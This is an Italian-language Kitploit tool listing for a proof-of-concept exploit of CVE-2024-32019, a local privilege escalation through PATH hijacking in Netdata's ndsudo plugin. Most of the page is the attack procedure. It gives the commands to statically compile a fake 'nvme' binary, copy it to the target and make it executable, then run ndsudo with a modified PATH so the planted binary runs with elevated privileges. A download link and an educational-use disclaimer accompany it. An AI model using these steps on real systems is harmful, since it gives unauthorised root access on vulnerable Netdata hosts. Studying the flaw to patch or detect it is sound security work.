CVE-2024-32019-POC — Exploit proof-of-concept per CVE-2024-32019 che dimostra l'escalation dei privilegi locali tramite percorso di ricerca non attendibile nel plugin ndsudo di Netdata. Include istruzioni di compilazione e passaggi di distribuzione. | Kitploit

⚠️ CVE-2024-32019 - PoC

📌 Versioni Affette

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🛠️ Prova di Concetto

CVE-2024-32019 — escalation dei privilegi locale di ndsudo tramite percorso di ricerca non attendibile.

🔧 Compila l'exploit

x86_64-linux-gnu-gcc -o nvme exploit.c -static

📤 Distribuisci sulla macchina target

Trasferisci il binario compilato sulla macchina vulnerabile.
Rendilo eseguibile:
```
chmod +x nvme
```
Sfrutta il binario vulnerabile mediante manipolazione del PATH (usa lo stesso percorso in cui hai caricato il binario):
```
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
```

🔍 Riferimento

Netdata Security Advisory - GHSA-pmhq-4cxq-wj93

⚖️ Disclaimer e Termini

Questo codice Proof of Concept (PoC) è fornito solo per scopi educativi e di test di penetrazione autorizzati.

Nessun permesso viene concesso per modificare, ridistribuire o utilizzare questo codice per altri scopi.
L'uso o la modifica non autorizzati possono essere illegali e non etici.
Gli autori non si assumono alcuna responsabilità per eventuali usi impropri o danni.

Scarica lo strumento